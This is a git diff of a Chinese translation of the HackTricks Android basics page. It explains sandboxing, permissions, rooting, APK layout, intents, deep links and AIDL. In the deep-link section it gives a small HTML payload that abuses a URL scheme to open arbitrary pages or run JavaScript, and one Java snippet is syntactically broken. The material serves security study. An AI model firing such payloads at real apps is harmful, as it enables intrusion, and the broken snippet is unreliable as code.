支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,22 +1,22 @@
|
||||||
# Android 应用基础
|
# Android 应用基础知识
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 的 github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
找到对您最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到 web 应用程序和云系统。[**今天免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
发现最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -24,154 +24,108 @@
|
||||||
|
|
||||||
## Android 安全模型
|
## Android 安全模型
|
||||||
|
|
||||||
**有两层:**
|
**有两个层次:**
|
||||||
|
|
||||||
* **操作系统**,它使安装的应用程序彼此隔离。
|
* **操作系统**,将安装的应用程序相互隔离。
|
||||||
* **应用程序本身**,它允许开发人员**暴露某些功能**并配置应用程序能力。
|
* **应用程序本身**,允许开发人员**公开某些功能**并配置应用程序功能。
|
||||||
|
|
||||||
### UID 分离
|
### UID 分离
|
||||||
|
|
||||||
**每个应用程序都分配了一个特定的用户 ID**。这是在安装应用程序时完成的,因此**应用程序只能与其用户 ID 或共享**文件拥有的文件进行交互。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序数据。
|
**每个应用程序被分配一个特定的用户 ID**。这是在应用程序安装期间完成的,因此**应用程序只能与其用户 ID 拥有的文件或共享文件进行交互**。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序的数据。
|
||||||
|
|
||||||
### UID 共享
|
### UID 共享
|
||||||
|
|
||||||
**两个应用程序可以配置为使用相同的 UID**。这对于共享信息很有用,但如果其中一个受到损害,两个应用程序的数据都将受到损害。这就是为什么这种行为是**不鼓励**的。\
|
**两个应用程序可以配置为使用相同的 UID**。这可能有助于共享信息,但如果其中一个受到损害,则两个应用程序的数据都将受到损害。这就是为什么这种行为是**不鼓励**的。\
|
||||||
**要共享相同的 UID,应用程序必须在其清单中定义相同的 `android:sharedUserId` 值。**
|
**要共享相同的 UID,应用程序必须在其清单中定义相同的 `android:sharedUserId` 值**。
|
||||||
|
|
||||||
### 沙箱化
|
### 沙箱
|
||||||
|
|
||||||
**Android 应用程序沙箱**允许**每个应用程序**作为**单独的进程在单独的用户 ID 下运行**。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
|
**Android 应用程序沙箱**允许将**每个应用程序**作为**单独的进程在单独的用户 ID 下运行**。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
|
||||||
从 Android 5.0(L) 开始强制执行 **SELinux**。基本上,SELinux 拒绝了所有进程交互,然后创建策略来**只允许它们之间的预期交互**。
|
从 Android 5.0(L)开始,**SELinux** 被强制执行。基本上,SELinux 拒绝了所有进程交互,然后创建策略**仅允许它们之间的预期交互**。
|
||||||
|
|
||||||
### 权限
|
### 权限
|
||||||
|
|
||||||
当您安装**应用程序并请求权限**时,应用程序正在请求在**AndroidManifest.xml** 文件中配置的 **`uses-permission`** 元素中的权限。**uses-permission** 元素在**名称**属性中指示请求的权限的名称。它还具有**maxSdkVersion** 属性,该属性在指定的版本以上停止请求权限。\
|
当您安装一个**应用程序并请求权限**时,该应用程序正在请求在**AndroidManifest.xml** 文件中的 **`uses-permission`** 元素中配置的权限。**uses-permission** 元素指示请求的权限名称在 **name** **属性**中。它还具有 **maxSdkVersion** 属性,该属性在高于指定版本的版本上停止请求权限。\
|
||||||
请注意,android 应用程序不需要在一开始就请求所有权限,它们也可以**动态请求权限**,但所有权限都必须在**清单中声明**。
|
请注意,Android 应用程序不需要在开始时请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明**。
|
||||||
|
|
||||||
当应用程序暴露功能时,它可以限制**只有具有指定权限的应用程序才能访问**。\
|
当应用程序公开功能时,它可以限制**仅允许具有特定权限的应用程序访问**。\
|
||||||
权限元素有三个属性:
|
权限元素具有三个属性:
|
||||||
|
|
||||||
* 权限的**名称**
|
* 权限的**名称**
|
||||||
* **permission-group** 属性,允许对相关权限进行分组。
|
* **permission-group** 属性,允许对相关权限进行分组。
|
||||||
* **protection-level** 指示如何授予权限。有四种类型:
|
* **protection-level**,指示权限如何授予。有四种类型:
|
||||||
* **Normal**:当对应用程序**没有已知威胁**时使用。用户**无需批准**。
|
* **Normal**:当应用程序**没有已知威胁**时使用。用户**无需批准**。
|
||||||
* **Dangerous**:表明权限授予请求应用程序一些**提升的访问权限**。**用户被要求批准它们**。
|
* **Dangerous**:指示权限授予请求应用程序一些**提升的访问权限**。**用户被要求批准**。
|
||||||
* **Signature**:只有**由与导出组件相同的证书签名的应用程序**才能被授予权限。这是最强的保护类型。
|
* **Signature**:只有**由与导出组件相同的证书签名的应用程序**可以被授予权限。这是最强大的保护类型。
|
||||||
* **SignatureOrSystem**:只有**由与导出组件相同的证书签名的应用程序**或**具有系统级访问权限的应用程序**才能被授予权限
|
* **SignatureOrSystem**:只有**由与导出组件相同的证书签名的应用程序**或**以系统级访问权限运行的应用程序**可以被授予权限。
|
||||||
|
|
||||||
## 预装应用程序
|
## 预安装应用程序
|
||||||
|
|
||||||
这些应用程序通常位于 **`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些是**优化过的**(您甚至可能找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们**运行的权限太多**(作为 root)。
|
这些应用程序通常位于 **`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些应用程序是**经过优化的**(您可能甚至找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们以**太多权限运行**(如 root)。
|
||||||
|
|
||||||
* 随 **AOSP**(Android 开源项目)**ROM** 一起提供的
|
* 与 **AOSP**(Android 开源项目)**ROM** 一起提供的应用程序
|
||||||
* 由设备**制造商**添加
|
* 设备制造商添加的
|
||||||
* 由手机**服务提供商**添加(如果是从他们那里购买的)
|
* 由手机提供商添加的(如果从他们那里购买)
|
||||||
|
|
||||||
## Rooting
|
## Rooting
|
||||||
|
|
||||||
为了获得物理 Android 设备的 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定于**设备和**版本**的。\
|
为了在物理 Android 设备上获得 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定于** **设备** 和 **版本** 的。\
|
||||||
一旦漏洞利用成功,通常会将 Linux `su` 二进制文件复制到用户的 PATH 环境变量中指定的位置,如 `/system/xbin`。
|
一旦利用成功,通常会将 Linux `su` 二进制文件复制到用户的 PATH 环境变量中指定的位置,如 `/system/xbin`。
|
||||||
|
|
||||||
配置 su 二进制文件后,另一个 Android 应用程序用于与 `su` 二进制文件交互并**处理 root 访问请求**,如 **Superuser** 和 **SuperSU**(在 Google Play 商店中可用)。
|
配置 su 二进制文件后,另一个 Android 应用程序用于与 `su` 二进制文件进行交互,并**处理对 root 访问的请求**,如 **Superuser** 和 **SuperSU**(在 Google Play 商店中可用)。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,rooting 过程非常危险,可能会严重损坏设备
|
请注意,root 过程非常危险,可能会严重损坏设备
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### ROMs
|
### ROM
|
||||||
|
|
||||||
可以**替换操作系统安装自定义固件**。这样做可以扩展旧设备的用途,绕过软件限制或获取最新的 Android 代码。\
|
可以通过**安装自定义固件**来**替换操作系统**。这样做可以扩展旧设备的实用性,绕过软件限制或访问最新的 Android 代码。\
|
||||||
**OmniROM** 和 **LineageOS** 是两个最受欢迎的固件。
|
**OmniROM** 和 **LineageOS** 是最受欢迎的两种固件。
|
||||||
|
|
||||||
请注意,**并不总是需要 root 设备**来安装自定义固件。**一些制造商允许**以记录良好且安全的方式解锁他们的引导加载程序。
|
请注意,**不总是需要 root 设备**才能安装自定义固件。**一些制造商允许**以文件中记录的安全方式解锁其引导加载程序。
|
||||||
|
|
||||||
### 影响
|
### 影响
|
||||||
|
|
||||||
一旦设备被 root,任何应用程序都可以请求以 root 身份访问。如果恶意应用程序获得了它,它几乎可以访问所有内容,并且能够损坏手机。
|
一旦设备被 root,任何应用程序都可以请求 root 访问权限。如果恶意应用程序获得了它,它将可以访问几乎所有内容,并且可以损坏手机。
|
||||||
|
|
||||||
## Android 应用程序基础 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
## Android 应用程序基础知识 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||||
|
|
||||||
这个介绍摘自 [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)
|
- Android 应用程序的格式称为 _APK 文件格式_。它本质上是一个**ZIP 文件**(通过将文件扩展名更改为 .zip,可以提取和查看内容)。
|
||||||
|
- APK 内容(不详尽)
|
||||||
|
- **AndroidManifest.xml**
|
||||||
|
- resources.arsc/strings.xml
|
||||||
|
- resources.arsc:包含预编译资源,如二进制 XML。
|
||||||
|
- res/xml/files\_paths.xml
|
||||||
|
- META-INF/
|
||||||
|
- 这是证书的位置!
|
||||||
|
- **classes.dex**
|
||||||
|
- 包含 Dalvik 字节码,代表应用程序默认执行的编译 Java(或 Kotlin)代码。
|
||||||
|
- lib/
|
||||||
|
- 包含本机库,按 CPU 架构分隔在子目录中。
|
||||||
|
- `armeabi`:针对基于 ARM 的处理器的代码
|
||||||
|
- `armeabi-v7a`:针对 ARMv7 及更高版本的处理器的代码
|
||||||
|
- `x86`:针对 X86 处理器的代码
|
||||||
|
- `mips`:仅针对 MIPS 处理器的代码
|
||||||
|
- assets/
|
||||||
|
- 存储应用程序需要的各种文件,可能包括额外的本机库或 DEX 文件,有时被恶意软件作者用于隐藏额外的代码。
|
||||||
|
- res/
|
||||||
|
- 包含未编译到 resources.arsc 中的资源
|
||||||
|
|
||||||
### 基础复习 <a href="#fundamentals-review" id="fundamentals-review"></a>
|
### **Dalvik 和 Smali**
|
||||||
|
|
||||||
* Android 应用程序以 _APK 文件格式_ 存在。**APK 基本上是一个 ZIP 文件**。(您可以将文件扩展名重命名为 .zip 并使用 unzip 打开并查看其内容。)
|
- 大多数 Android 应用程序是用 Java 或 Kotlin(在此上下文中互换)开发的。
|
||||||
* APK 内容(不详尽)
|
- **Android 不像桌面应用程序那样在 Java 虚拟机**(JVM)中运行 Java 代码,而是将 Java 编译为 **Dalvik 可执行(DEX)字节码**。
|
||||||
* **AndroidManifest.xml**
|
- 历史上,字节码的翻译由 Dalvik 虚拟机处理,而更近期的 Android 版本使用 Android 运行时(ART)。
|
||||||
* resources.arsc/strings.xml
|
- 反向工程过程涉及将 DEX 字节码反编译为人类可读格式。
|
||||||
* resources.arsc:包含预编译资源的文件,例如二进制 XML。
|
|
||||||
* res/xml/files\_paths.xml
|
|
||||||
* META-INF/
|
|
||||||
* 证书就在这里!
|
|
||||||
* **classes.dex**
|
|
||||||
* 应用程序的 Dalvik 字节码,以 DEX 文件格式编译。**这是应用程序将默认运行的 Java(或 Kotlin)代码**。
|
|
||||||
* lib/
|
|
||||||
* 应用程序的本地库,默认情况下位于此处!在 lib/ 目录下,有针对特定 CPU 的目录。
|
|
||||||
* `armeabi`:仅为所有基于 ARM 的处理器编译的代码
|
|
||||||
* `armeabi-v7a`:仅为所有基于 ARMv7 及以上处理器编译的代码
|
|
||||||
* `x86`:仅为 X86 编译的代码
|
|
||||||
* `mips`:仅为 MIPS 处理器编译的代码
|
|
||||||
* assets/
|
|
||||||
* 应用程序可能需要的任何其他文件。
|
|
||||||
* 此处可能包括额外的本地库或 DEX 文件。当恶意软件作者想尝试“隐藏”额外的代码,本地或 Dalvik,不包括在默认位置时,尤其会发生这种情况。
|
|
||||||
* res/
|
|
||||||
* 包含未编译到 resources.arsc 中的资源的目录
|
|
||||||
|
|
||||||
### **Dalvik & Smali**
|
**Smali 是 Dalvik 字节码的人类可读形式**。虽然 "Smali" 和 "baksmali" 在技术上指的是汇编器和反汇编器工具,但在 Android 上下文中,“Smali”通常指的是指令本身。**SMALI 类似于汇编语言,作为源代码和字节码之间的中介**。
|
||||||
|
|
||||||
大多数 Android 应用程序是用 Java 编写的。Kotlin 也得到支持,并且与 Java 兼容。为了简单起见,对于本次研讨会的其余部分,当我提到“Java”时,您可以假设我指的是“Java 或 Kotlin”。**与桌面应用程序一样,Java 代码在 Java 虚拟机**(JVM)中运行,而在 Android 中,**Java 被编译为 \_Dalvik 可执行(DEX)字节码**\_\*\* 格式\*\*。对于 Android 的早期版本,字节码由 Dalvik 虚拟机翻译。对于 Android 的较新版本,使用 Android 运行时(ART)。\
|
|
||||||
如果开发人员用 Java 编写代码并将其编译为 DEX 字节码,为了进行逆向工程,我们会反向操作。\
|
|
||||||
\\
|
|
||||||
|
|
||||||
![开发人员流程的流程图。Java 到 DEX 字节码](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
|
|
||||||
|
|
||||||
![逆向工程师流程的流程图。DEX 字节码到 SMALI 到 Decompiled Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
|
|
||||||
|
|
||||||
**Smali 是 Dalvik 字节码的可读版本**。从技术上讲,Smali 和 baksmali 是工具的名称(分别是汇编器和反汇编器),但在 Android 中,我们经常使用“Smali”一词来指代指令。如果您在编译的 C/C++ 代码上进行过逆向工程或计算机架构。**SMALI 就像汇编语言:介于更高级别的源代码和字节码之间**。
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
找到对您最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到 web 应用程序和云系统。[**今天免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Intents
|
|
||||||
|
|
||||||
Intents 是 Android 应用程序之间或与其他应用程序通信的主要方式。这些消息对象也可以在应用程序或组件之间传递数据,类似于 HTTP 通信中使用的 GET/POST 请求。
|
|
||||||
|
|
||||||
因此,Intent 基本上是在组件之间传递的**消息**。Intents **可以定向**到特定组件或应用程序,**也可以在没有特定接收者的情况下发送**。\
|
|
||||||
简单来说,Intent 可以用于:
|
|
||||||
|
|
||||||
* 启动一个 Activity,通常为应用程序打开用户界面
|
|
||||||
* 作为广播通知系统和应用程序的变化
|
|
||||||
* 启动、停止和与后台服务通信
|
|
||||||
* 通过 ContentProviders 访问数据
|
|
||||||
* 作为回调处理事件
|
|
||||||
|
|
||||||
实现不当可能导致数据泄露、受限功能被调用和程序流程被操纵。
|
|
||||||
|
|
||||||
### Intent-Filter
|
|
||||||
|
|
||||||
Intent Filter 指定活动、服务或广播接收器可以响应的**Intent 类型**。它指定活动或服务可以做什么以及接收器可以处理的广播类型。它允许相应的组件接收声明类型的 Intents。Intent Filters 通常**通过 AndroidManifest.xml 文件定义**。对于**广播接收器**,也可以在**编码中定义**。Intent Filter 由其类别、动作和数据过滤器定义。它还可以包含额外的元数据。
|
|
||||||
|
|
||||||
在 Android 中,当**`exported`** 设置为 **`true`** 时,活动/服务/内容提供者/广播接收器是**公开的**,但如果**清单为其指定了 Intent filter**,组件**也是公开的**。然而,\
|
|
||||||
开发人员可以**明确地将组件设为私有**(不管任何 intent filters)\
|
|
||||||
通过在清单文件中为每个组件设置 \*\* `exported` 属性为 `false`\*\*。\
|
|
||||||
开发人员还可以设置**`permission`** 属性来**要求特定权限以访问**组件,从而限制对组件的访问。
|
|
||||||
|
|
||||||
### 隐式 Intents
|
|
||||||
|
|
||||||
Intents 是使用 Intent 构造函数在程序中创建的:
|
|
||||||
```java
|
```java
|
||||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
```
|
```
|
||||||
```markdown
|
**Action**之前声明的意图是**ACTION\_SEND**,**Extra**是一个mailto **Uri**(Extra是意图期望的额外信息)。
|
||||||
**动作**是之前声明的意图是 **ACTION\_SEND**,而**额外数据**是一个mailto **Uri**(额外数据是意图期望的额外信息)。
|
|
||||||
|
|
||||||
此意图应在清单中声明,如下例所示:
|
这个意图应该在清单文件中声明,就像以下示例中所示:
|
||||||
```
|
|
||||||
```markup
|
```markup
|
||||||
<activity android:name="ShareActivity">
|
<activity android:name="ShareActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -180,102 +134,102 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
一个intent-filter需要匹配**动作**、**数据**和**类别**来接收消息。
|
一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
|
||||||
|
|
||||||
"Intent解析"过程决定哪个应用应该接收每个消息。这个过程考虑了**优先级属性**,可以在**intent-filter声明**中设置,**优先级较高的将被选中**。这个优先级可以设置在-1000到1000之间,应用程序可以使用`SYSTEM_HIGH_PRIORITY`值。如果出现**冲突**,会出现一个"选择器"窗口,以便**用户可以决定**。
|
"Intent resolution" 过程确定哪个应用程序应该接收每条消息。此过程考虑 **priority attribute**,可以在 **intent-filter declaration** 中设置,**优先级较高的将被选择**。此优先级可设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**。
|
||||||
|
|
||||||
### 显式Intents
|
### 显式 Intent
|
||||||
|
|
||||||
一个显式intent指定了它目标的类名:
|
显式 intent 指定了它所针对的类名:
|
||||||
```java
|
```java
|
||||||
Intent downloadIntent = new (this, DownloadService.class):
|
Intent downloadIntent = new (this, DownloadService.class):
|
||||||
```
|
```
|
||||||
在其他应用程序中,为了访问之前声明的intent,你可以使用:
|
在其他应用程序中,为了访问先前声明的意图,您可以使用:
|
||||||
```java
|
```java
|
||||||
Intent intent = new Intent();
|
Intent intent = new Intent();
|
||||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||||
context.startService(intent);
|
context.startService(intent);
|
||||||
```
|
```
|
||||||
### 待处理的意图
|
### Pending Intents
|
||||||
|
|
||||||
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构建一个待处理的意图时,应该**指定一个意图和要执行的动作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),一个**恶意应用程序可能会代表受害者应用程序执行声明的动作**。此外,**如果没有指定动作**,恶意应用程序将能够代表受害者执行**任何动作**。
|
这些允许其他应用**代表您的应用执行操作**,使用您应用的身份和权限。构建一个 Pending Intent 时,应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),一个**恶意应用程序可以代表受害者应用执行声明的操作**。此外,**如果没有指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
|
||||||
|
|
||||||
### 广播意图
|
### Broadcast Intents
|
||||||
|
|
||||||
与前面的意图不同,只被一个应用程序接收,广播意图**可以被多个应用程序接收**。然而,从API版本14开始,**可以指定应该接收消息的应用程序**,使用Intent.set Package。
|
与之前的意图不同,广播意图**可以被多个应用接收**。但是,从 API 版本 14 开始,可以使用 Intent.set Package 来**指定应该接收消息的应用程序**。
|
||||||
|
|
||||||
另外,发送广播时也可以**指定一个权限**。接收应用程序将需要拥有那个权限。
|
另外,**在发送广播时也可以指定权限**。接收应用程序将需要拥有该权限。
|
||||||
|
|
||||||
有**两种类型**的广播:**普通**(异步)和**有序**(同步)。**顺序**基于**接收器**元素内配置的**优先级**。**每个应用程序可以处理、转发或丢弃广播。**
|
有**两种**广播:**普通**(异步)和**有序**(同步)。**顺序**基于**接收器内配置的优先级**。**每个应用程序可以处理、中继或丢弃广播**。
|
||||||
|
|
||||||
可以使用`Context`类中的**`sendBroadcast(intent, receiverPermission)`** 函数**发送**一个**广播**。\
|
可以使用 `Context` 类中的函数 \*\*`sendBroadcast(intent, receiverPermission)` \*\* 来**发送**广播。\
|
||||||
您还可以使用**`LocalBroadCastManager`** 中的 **`sendBroadcast`** 函数确保**消息永远不会离开应用程序**。使用这个您甚至不需要导出接收器组件。
|
您还可以使用 **`LocalBroadCastManager`** 中的函数 **`sendBroadcast`**,确保**消息永远不会离开应用程序**。使用这种方式,甚至不需要导出接收器组件。
|
||||||
|
|
||||||
### 粘性广播
|
### Sticky Broadcasts
|
||||||
|
|
||||||
这种类型的广播**在发送后很久仍然可以访问**。\
|
这种广播**可以在发送后很长时间后访问**。\
|
||||||
它们在API级别21中被弃用,建议**不要使用它们**。\
|
这在 API 级别 21 中已被弃用,建议**不要使用它们**。\
|
||||||
**它们允许任何应用程序嗅探数据,但也可以修改数据。**
|
**它们允许任何应用程序嗅探数据,但也可以修改数据**。
|
||||||
|
|
||||||
如果您发现包含“sticky”这个词的函数,如**`sendStickyBroadcast`** 或 **`sendStickyBroadcastAsUser`**,**检查影响并尝试移除它们**。
|
如果发现包含单词“sticky”的函数,如**`sendStickyBroadcast`**或**`sendStickyBroadcastAsUser`**,**检查影响并尝试删除它们**。
|
||||||
|
|
||||||
## 深度链接 / URL方案
|
## Deep links / URL schemes
|
||||||
|
|
||||||
**深度链接允许通过URL触发一个意图**。一个应用程序可以在活动中声明一个**URL方案**,所以每次Android设备尝试**使用该方案访问地址**时,应用程序的活动将被调用:
|
**Deep links 允许通过 URL 触发一个意图**。应用程序可以在活动中声明一个**URL模式**,因此每次 Android 设备尝试**使用该模式访问地址**时,应用程序的活动将被调用:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (214).png>)
|
![](<../../.gitbook/assets/image (214).png>)
|
||||||
|
|
||||||
在这个例子中方案是 `myapp://`(也注意**`category BROWSABLE`**)
|
在这种情况下,方案是 `myapp://`(还要注意**`category BROWSABLE`**)
|
||||||
|
|
||||||
如果在`intent-filter`中找到这样的内容:
|
如果在 `intent-filter` 中找到类似以下内容:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (263).png>)
|
![](<../../.gitbook/assets/image (263).png>)
|
||||||
|
|
||||||
那么,它期待的是像 `http://www.example.com/gizmos` 这样的内容
|
那么,它期望类似 `http://www.example.com/gizmos` 的内容
|
||||||
|
|
||||||
如果你找到这样的内容:
|
如果找到类似以下内容:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (262).png>)
|
![](<../../.gitbook/assets/image (262).png>)
|
||||||
|
|
||||||
这将意味着它期待一个以 `example://gizmos` 开头的URL\
|
这意味着它期望以 `example://gizmos` 开头的 URL\
|
||||||
在这种情况下,您可以尝试滥用该功能,创建一个带有以下有效载荷的网页。它将尝试导航到任意页面并尝试执行JS:
|
在这种情况下,您可以尝试滥用功能,创建一个包含以下有效负载的网页。它将尝试导航到任意页面并尝试执行 JS:
|
||||||
```markup
|
```markup
|
||||||
<a href="example://gizmos/https://google.com">click here</a>
|
<a href="example://gizmos/https://google.com">click here</a>
|
||||||
<a href="example://gizmos/javascript://%250dalert(1)">click here</a>
|
<a href="example://gizmos/javascript://%250dalert(1)">click here</a>
|
||||||
```
|
```
|
||||||
为了找到**将在应用中执行的代码**,请转到被deeplink调用的activity,并搜索函数**`onNewIntent`**。
|
要找到在应用程序中将执行的**代码**,请转到由深度链接调用的活动,并搜索**`onNewIntent`**函数。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||||
|
|
||||||
学习如何[不使用HTML页面调用深层链接](./#exploiting-schemes-deep-links)。
|
了解如何[在不使用HTML页面的情况下调用深度链接](./#exploiting-schemes-deep-links)。
|
||||||
|
|
||||||
## AIDL - Android接口定义语言
|
## AIDL - Android Interface Definition Language
|
||||||
|
|
||||||
**Android接口定义语言**(AIDL)允许您定义客户端和服务同意的编程接口,以便使用**进程间通信**(IPC)**相互通信**。在Android上,**一个进程通常无法访问另一个进程的内存**。因此,为了通信,它们需要将对象分解为**操作系统**可以理解的原语,并为您跨越那个边界传输对象。编写执行该传输的代码是乏味的,因此Android使用AIDL为您处理这些工作。)
|
**Android Interface Definition Language**(AIDL)允许您定义客户端和服务之间同意的编程接口,以便它们可以通过**进程间通信**(IPC)相互通信。在Android上,**一个进程通常无法访问另一个进程的内存**。因此,它们需要将对象分解为操作系统可以理解的基元,并在对象之间进行对象的编组以进行通信。编写执行此编组的代码很繁琐,因此Android会使用AIDL为您处理。
|
||||||
|
|
||||||
使用AIDL的服务被称为**绑定服务**。在服务的类中,您会找到**`onBind`**方法。这是**交互开始的地方**,因此它是审查代码寻找潜在漏洞的初始部分。
|
使用AIDL的服务称为**绑定服务**。在服务类中,您将找到**`onBind`**方法。这是**交互开始的地方**,因此这是要审查的代码的初始部分,以寻找潜在的漏洞。
|
||||||
|
|
||||||
绑定服务是客户端-服务器接口中的服务器。**它允许组件(如活动)绑定到服务,发送请求,接收响应,并执行进程间通信**(IPC)。绑定服务通常只在为另一个应用程序组件服务时存在,并不会无限期地在后台运行。
|
